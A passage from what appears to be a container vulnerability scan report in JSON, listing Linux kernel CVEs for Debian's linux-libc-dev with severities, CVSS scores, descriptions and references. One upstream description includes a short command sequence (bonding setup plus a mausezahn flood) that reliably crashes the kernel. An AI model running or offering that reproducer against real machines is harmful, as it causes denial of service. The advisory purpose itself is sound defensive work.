"HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-71221", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/a143545855bc2c6e1330f6f57ae375ac44af00a7%20%286.19-rc6%29", "https://git.kernel.org/stable/c/3f0e0e2d9e752570041e95fd04635e2580097819", "https://git.kernel.org/stable/c/9f665b3c3d9a168410251f27a5d019b7bf93185c", "https://git.kernel.org/stable/c/a143545855bc2c6e1330f6f57ae375ac44af00a7", "https://git.kernel.org/stable/c/dfb5e05227745de43b7fd589721817a4337c970d", "https://git.kernel.org/stable/c/eba0c75670c022cb1f948600db972524bcfe8166", "https://git.kernel.org/stable/c/fc023b8fab057f0c910856ff36d3e12a30b7af4a", "https://lore.kernel.org/linux-cve-announce/2026021426-CVE-2025-71221-2987@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71221", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2025-71221" ], "PublishedDate": "2026-02-14T17:15:54.45Z", "LastModifiedDate": "2026-10-15T02:18:25.19Z" }, { "VulnerabilityID": "CVE-2025-71238", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71238", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c3f863259362392c686a70f6f3ecaa79d61f492c6edff1e077354398e12d3c3f", "Title": "kernel: Linux kernel (qla2xxx): Double free vulnerability leads to denial of service and potential privilege escalation.", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Fix bsg_done() causing double free\n\nKernel panic observed on system,\n\n[5353358.825191] BUG: unable to handle page fault for address: ff5f5e897b024000\n[5353358.825194] #PF: supervisor write access in kernel mode\n[5353358.825195] #PF: error_code(0x0002) - not-present page\n[5353358.825196] PGD 100006067 P4D 0\n[5353358.825198] Oops: 0002 [#1] PREEMPT SMP NOPTI\n[5353358.825200] CPU: 5 PID: 2132085 Comm: qlafwupdate.sub Kdump: loaded Tainted: G W L ------- --- 5.14.0-503.34.1.el9_5.x86_64 #1\n[5353358.825203] Hardware name: HPE ProLiant DL360 Gen11/ProLiant DL360 Gen11, BIOS 2.44 01/17/2025\n[5353358.825204] RIP: 0010:memcpy_erms+0x6/0x10\n[5353358.825211] RSP: 0018:ff591da8f4f6b710 EFLAGS: 00010246\n[5353358.825212] RAX: ff5f5e897b024000 RBX: 0000000000007090 RCX: 0000000000001000\n[5353358.825213] RDX: 0000000000001000 RSI: ff591da8f4fed090 RDI: ff5f5e897b024000\n[5353358.825214] RBP: 0000000000010000 R08: ff5f5e897b024000 R09: 0000000000000000\n[5353358.825215] R10: ff46cf8c40517000 R11: 0000000000000001 R12: 0000000000008090\n[5353358.825216] R13: ff591da8f4f6b720 R14: 0000000000001000 R15: 0000000000000000\n[5353358.825218] FS: 00007f1e88d47740(0000) GS:ff46cf935f940000(0000) knlGS:0000000000000000\n[5353358.825219] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[5353358.825220] CR2: ff5f5e897b024000 CR3: 0000000231532004 CR4: 0000000000771ef0\n[5353358.825221] PKRU: 55555554\n[5353358.825222] Call Trace:\n[5353358.825223] \u003cTASK\u003e\n[5353358.825224] ? show_trace_log_lvl+0x1c4/0x2df\n[5353358.825229] ? show_trace_log_lvl+0x1c4/0x2df\n[5353358.825232] ? sg_copy_buffer+0xc8/0x110\n[5353358.825236] ? __die_body.cold+0x8/0xd\n[5353358.825238] ? page_fault_oops+0x134/0x170\n[5353358.825242] ? kernelmode_fixup_or_oops+0x84/0x110\n[5353358.825244] ? exc_page_fault+0xa8/0x150\n[5353358.825247] ? asm_exc_page_fault+0x22/0x30\n[5353358.825252] ? memcpy_erms+0x6/0x10\n[5353358.825253] sg_copy_buffer+0xc8/0x110\n[5353358.825259] qla2x00_process_vendor_specific+0x652/0x1320 [qla2xxx]\n[5353358.825317] qla24xx_bsg_request+0x1b2/0x2d0 [qla2xxx]\n\nMost routines in qla_bsg.c call bsg_done() only for success cases.\nHowever a few invoke it for failure case as well leading to a double\nfree. Validate before calling bsg_done().", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "cbl-mariner": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6571", "https://access.redhat.com/errata/RHSA-2026:6572", "https://access.redhat.com/security/cve/CVE-2025-71238", "https://bugzilla.redhat.com/2278333", "https://bugzilla.redhat.com/2439887", "https://bugzilla.redhat.com/2444376", "https://bugzilla.redhat.com/2444398", "https://bugzilla.redhat.com/show_bug.cgi?id=2278333", "https://bugzilla.redhat.com/show_bug.cgi?id=2439887", "https://bugzilla.redhat.com/show_bug.cgi?id=2444376", "https://bugzilla.redhat.com/show_bug.cgi?id=2444398", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71238", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23231", "https://errata.almalinux.org/8/ALSA-2026-6572.html", "https://errata.rockylinux.org/RLSA-2026:6571", "https://git.kernel.org/linus/c2c68225b1456f4d0d393b5a8778d51bb0d5b1d0%20%287.0-rc1%29", "https://git.kernel.org/stable/c/057a5bdc481e58ab853117254867ffb22caf9f6e", "https://git.kernel.org/stable/c/27ac9679c43a09e54e2d9aae9980ada045b428e0", "https://git.kernel.org/stable/c/31f33b856d2324d86bcaef295f4d210477a1c018", "https://git.kernel.org/stable/c/708003e1bc857dd014d4c44278d7d77c26f91b1c", "https://git.kernel.org/stable/c/74e7458537cd9349cf019862e51491f670871707", "https://git.kernel.org/stable/c/871f6236da96c4a9712b8a29d7f555f767a47e95", "https://git.kernel.org/stable/c/c2c68225b1456f4d0d393b5a8778d51bb0d5b1d0", "https://git.kernel.org/stable/c/f2bbb4db0e4a4fbd5e649c0b5d8733f61da24720", "https://linux.oracle.com/cve/CVE-2025-71238.html", "https://linux.oracle.com/errata/ELSA-2026-6571.html", "https://lore.kernel.org/linux-cve-announce/2026030437-CVE-2025-71238-76bc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71238", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2025-71238" ], "PublishedDate": "2026-03-04T15:16:12.7Z", "LastModifiedDate": "2026-10-19T19:17:17.903Z" }, { "VulnerabilityID": "CVE-2026-100072", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-100072", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a7d256b127ae4aac208b74b12d71587a98c7788618cc226d1cff11e782280e75", "Title": "kernel: ACPI: platform: Use acpi_bus_get_primary_device()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: platform: Use acpi_bus_get_primary_device()\n\nThe acpi_get_first_physical_node() usage in acpi_platform_fill_resource()\nand acpi_create_platform_device() is generally unsafe because in theory\nthe device returned by it may be freed at any time [1].\n\nIt is also inefficient because acpi_get_first_physical_node() is called\nmultiple times for the same argument which can be avoided.\n\nAddress these issues by using acpi_bus_get_primary_device() instead of\nacpi_get_first_physical_node() and adjusting the code to call it just\nonce at the beginning of and acpi_create_platform_device() and drop\nthe device reference acquired by it upon the return from that function.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-100072", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-100072.mbox", "https://git.kernel.org/stable/c/527a497fb2ef77a95170eefe2007e2c4c957bd2c", "https://git.kernel.org/stable/c/a75e5de593ef158feb17989bff7730c5a3d82503", "https://git.kernel.org/stable/c/a9ba4dd2f18bf3f439d9ef0d8f375f90360ba1bd", "https://git.kernel.org/stable/c/c9d202d3b6c28e8c779cd2f2b10d2f7ab665ca71", "https://nvd.nist.gov/vuln/detail/CVE-2026-100072", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-100072" ], "PublishedDate": "2026-09-25T14:17:13.7Z", "LastModifiedDate": "2026-10-21T18:49:49.167Z" }, { "VulnerabilityID": "CVE-2026-23111", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3a9c51b69e1d20d47677dcae5e2dfa729b85c69e41879d5825e04dd24b426266", "Title": "kernel: Kernel: Privilege escalation or denial of service in nf_tables via inverted element activity check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: fix inverted genmask check in nft_map_catchall_activate()\n\nnft_map_catchall_activate() has an inverted element activity check\ncompared to its non-catchall counterpart nft_mapelem_activate() and\ncompared to what is logically required.\n\nnft_map_catchall_activate() is called from the abort path to re-activate\ncatchall map elements that were deactivated during a failed transaction.\nIt should skip elements that are already active (they don't need\nre-activation) and process elements that are inactive (they need to be\nrestored). Instead, the current code does the opposite: it skips inactive\nelements and processes active ones.\n\nCompare the non-catchall activate callback, which is correct:\n\n nft_mapelem_activate():\n if (nft_set_elem_active(ext, iter-\u003egenmask))\n return 0; /* skip active, process inactive */\n\nWith the buggy catchall version:\n\n nft_map_catchall_activate():\n if (!nft_set_elem_active(ext, genmask))\n continue; /* skip inactive, process active */\n\nThe consequence is that when a DELSET operation is aborted,\nnft_setelem_data_activate() is never called for the catchall element.\nFor NFT_GOTO verdict elements, this means nft_data_hold() is never\ncalled to restore the chain-\u003euse reference count. Each abort cycle\npermanently decrements chain-\u003euse. Once chain-\u003euse reaches zero,\nDELCHAIN succeeds and frees the chain while catchall verdict elements\nstill reference it, resulting in a use-after-free.\n\nThis is exploitable for local privilege escalation from an unprivileged\nuser via user namespaces + nftables on distributions that enable\nCONFIG_USER_NS and CONFIG_NF_TABLES.\n\nFix by removing the negation so the check matches nft_mapelem_activate():\nskip active elements, process inactive ones.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-672" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10108", "https://access.redhat.com/errata/RHSA-2026:10996", "https://access.redhat.com/errata/RHSA-2026:18134", "https://access.redhat.com/errata/RHSA-2026:62639", "https://access.redhat.com/errata/RHSA-2026:62641", "https://access.redhat.com/errata/RHSA-2026:6570", "https://access.redhat.com/errata/RHSA-2026:9112", "https://access.redhat.com/security/cve/CVE-2026-23111", "https://blog.exodusintel.com/2026/06/08/off-by-exploiting-a-use-after-free-in-the-linux-kernel/", "https://bugzilla.redhat.com/2376101", "https://bugzilla.redhat.com/2439687", "https://bugzilla.redhat.com/2439895", "https://bugzilla.redhat.com/2444376", "https://bugzilla.redhat.com/show_bug.cgi?id=2376101", "https://bugzilla.redhat.com/show_bug.cgi?id=2439687", "https://bugzilla.redhat.com/show_bug.cgi?id=2439895", "https://bugzilla.redhat.com/show_bug.cgi?id=2444376", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38109", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23210", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23231", "https://errata.almalinux.org/9/ALSA-2026-6570.html", "https://errata.rockylinux.org/RLSA-2026:6570", "https://git.kernel.org/linus/f41c5d151078c5348271ffaf8e7410d96f2d82f8%20%286.19%29", "https://git.kernel.org/stable/c/1444ff890b4653add12f734ffeffc173d42862dd", "https://git.kernel.org/stable/c/42c574c1504aa089a0a142e4c13859327570473d", "https://git.kernel.org/stable/c/8b68a45f9722f2babe9e7bad00aa74638addf081", "https://git.kernel.org/stable/c/8c760ba4e36c750379d13569f23f5a6e185333f5", "https://git.kernel.org/stable/c/b9b6573421de51829f7ec1cce76d85f5f6fbbd7f", "https://git.kernel.org/stable/c/f41c5d151078c5348271ffaf8e7410d96f2d82f8", "https://linux.oracle.com/cve/CVE-2026-23111.html", "https://linux.oracle.com/errata/ELSA-2026-6570.html", "https://lore.kernel.org/linux-cve-announce/2026021300-CVE-2026-23111-9762@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23111", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23111.json", "https://ubuntu.com/security/notices/USN-8148-1", "https://ubuntu.com/security/notices/USN-8148-2", "https://ubuntu.com/security/notices/USN-8148-3", "https://ubuntu.com/security/notices/USN-8148-4", "https://ubuntu.com/security/notices/USN-8148-5", "https://ubuntu.com/security/notices/USN-8148-6", "https://ubuntu.com/security/notices/USN-8148-7", "https://ubuntu.com/security/notices/USN-8149-1", "https://ubuntu.com/security/notices/USN-8149-2", "https://ubuntu.com/security/notices/USN-8149-3", "https://ubuntu.com/security/notices/USN-8152-1", "https://ubuntu.com/security/notices/USN-8159-1", "https://ubuntu.com/security/notices/USN-8159-2", "https://ubuntu.com/security/notices/USN-8159-3", "https://ubuntu.com/security/notices/USN-8162-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8164-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8188-1", "https://ubuntu.com/security/notices/USN-8203-1", "https://ubuntu.com/security/notices/USN-8243-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2026-23111" ], "PublishedDate": "2026-02-13T14:16:10.283Z", "LastModifiedDate": "2026-10-15T02:18:42.62Z" }, { "VulnerabilityID": "CVE-2026-23171", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23171", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:683e7445ea0b94af7f475e01d437fb417e5145e6671465dd8a507d0ef7efcd40", "Title": "kernel: Linux kernel: Use-after-free in bonding module can cause system crash or arbitrary code execution", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbonding: fix use-after-free due to enslave fail after slave array update\n\nFix a use-after-free which happens due to enslave failure after the new\nslave has been added to the array. Since the new slave can be used for Tx\nimmediately, we can use it after it has been freed by the enslave error\ncleanup path which frees the allocated slave memory. Slave update array is\nsupposed to be called last when further enslave failures are not expected.\nMove it after xdp setup to avoid any problems.\n\nIt is very easy to reproduce the problem with a simple xdp_pass prog:\n ip l add bond1 type bond mode balance-xor\n ip l set bond1 up\n ip l set dev bond1 xdp object xdp_pass.o sec xdp_pass\n ip l add dumdum type dummy\n\nThen run in parallel:\n while :; do ip l set dumdum master bond1 1\u003e/dev/null 2\u003e\u00261; done;\n mausezahn bond1 -a own -b rand -A rand -B 1.1.1.1 -c 0 -t tcp \"dp=1-1023, flags=syn\"\n\nThe crash happens almost immediately:\n [ 605.602850] Oops: general protection fault, probably for non-canonical address 0xe0e6fc2460000137: 0000 [#1] SMP KASAN NOPTI\n [ 605.602916] KASAN: maybe wild-memory-access in range [0x07380123000009b8-0x07380123000009bf]\n [ 605.602946] CPU: 0 UID: 0 PID: 2445 Comm: mausezahn Kdump: loaded Tainted: G B 6.19.0-rc6+ #21 PREEMPT(voluntary)\n [ 605.602979] Tainted: [B]=BAD_PAGE\n [ 605.602998] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n [ 605.603032] RIP: 0010:netdev_core_pick_tx+0xcd/0x210\n [ 605.603063] Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 3e 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 6b 08 49 8d 7d 30 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 25 01 00 00 49 8b 45 30 4c 89 e2 48 89 ee 48 89\n [ 605.603111] RSP: 0018:ffff88817b9af348 EFLAGS: 00010213\n [ 605.603145] RAX: dffffc0000000000 RBX: ffff88817d28b420 RCX: 0000000000000000\n [ 605.603172] RDX: 00e7002460000137 RSI: 0000000000000008 RDI: 07380123000009be\n [ 605.603199] RBP: ffff88817b541a00 R08: 0000000000000001 R09: fffffbfff3ed8c0c\n [ 605.603226] R10: ffffffff9f6c6067 R11: 0000000000000001 R12: 0000000000000000\n [ 605.603253] R13: 073801230000098e R14: ffff88817d28b448 R15: ffff88817b541a84\n [ 605.603286] FS: 00007f6570ef67c0(0000) GS:ffff888221dfa000(0000) knlGS:0000000000000000\n [ 605.603319] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n [ 605.603343] CR2: 00007f65712fae40 CR3: 000000011371b000 CR4: 0000000000350ef0\n [ 605.603373] Call Trace:\n [ 605.603392] \u003cTASK\u003e\n [ 605.603410] __dev_queue_xmit+0x448/0x32a0\n [ 605.603434] ? __pfx_vprintk_emit+0x10/0x10\n [ 605.603461] ? __pfx_vprintk_emit+0x10/0x10\n [ 605.603484] ? __pfx___dev_queue_xmit+0x10/0x10\n [ 605.603507] ? bond_start_xmit+0xbfb/0xc20 [bonding]\n [ 605.603546] ? _printk+0xcb/0x100\n [ 605.603566] ? __pfx__printk+0x10/0x10\n [ 605.603589] ? bond_start_xmit+0xbfb/0xc20 [bonding]\n [ 605.603627] ? add_taint+0x5e/0x70\n [ 605.603648] ? add_taint+0x2a/0x70\n [ 605.603670] ? end_report.cold+0x51/0x75\n [ 605.603693] ? bond_start_xmit+0xbfb/0xc20 [bonding]\n [ 605.603731] bond_start_xmit+0x623/0xc20 [bonding]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6153", "https://access.redhat.com/security/cve/CVE-2026-23171", "https://bugzilla.redhat.com/2376376", "https://bugzilla.redhat.com/2407333", "https://bugzilla.redhat.com/2439872", "https://bugzilla.redhat.com/2439886", "https://bugzilla.redhat.com/2439887", "https://bugzilla.redhat.com/2439900", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2439947", "https://bugzilla.redhat.com/show_bug.cgi?id=2376376", "https://bugzilla.redhat.com/show_bug.cgi?id=2407333", "https://bugzilla.redhat.com/show_bug.cgi?id=2439872", "https://bugzilla.redhat.com/show_bug.cgi?id=2439886", "https://bugzilla.redhat.com/show_bug.cgi?id=2439887", "https://bugzilla.redhat.com/show_bug.cgi?id=2439900", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2439947", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40096", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23144", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23171", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23209", "https://errata.almalinux.org/9/ALSA-2026-6153.html", "https://errata.rockylinux.org/RLSA-2026:6153", "https://git.kernel.org/linus/e9acda52fd2ee0cdca332f996da7a95c5fd25294%20%286.19-rc8%29", "https://git.kernel.org/stable/c/172dcb67dd35b162357df229d7806acc724cd469", "https://git.kernel.org/stable/c/2889d92c5f728351c9930c7996d22fe6e906e785", "https://git.kernel.org/stable/c/bd25b092a06a3e05f7e8bd6da6fa7318777d8c3d", "https://git.kernel.org/stable/c/c6ae2b978001065ca0e1d33d5cbf949efeff879e", "https://git.kernel.org/stable/c/e9acda52fd2ee0cdca332f996da7a95c5fd25294", "https://linux.oracle.com/cve/CVE-2026-23171.html", "https://linux.oracle.com/errata/ELSA-2026-6632.html", "https://lore.kernel.org/linux-cve-announce/2026021421-CVE-2026-23171-5a73@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23171", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8570-1", "https://ubuntu.com/security/notices/USN-8570-2", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8594-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://www.cve.org/CVERecord?id=CVE-2026-23171" ], "PublishedDate": "2026-02-14T16:15:57.353Z", "LastModifiedDate": "2026-10-30T13:18:34.05Z" }, { "VulnerabilityID": "CVE-2026-23187", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23187", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1bdcbbda2ab89735e2ac8a8a131b59fc8167eed19308090ec569c24fc6832b59", "Title": "kernel: pmdomain: imx8m-blk-ctrl: fix out-of-range access of bc-\u003edomains", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npmdomain: imx8m-blk-ctrl: fix out-of-range access of bc-\u003edomains\n\nFix out-of-range access of bc-\u003edomains in imx8m_blk_ctrl_remove().", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 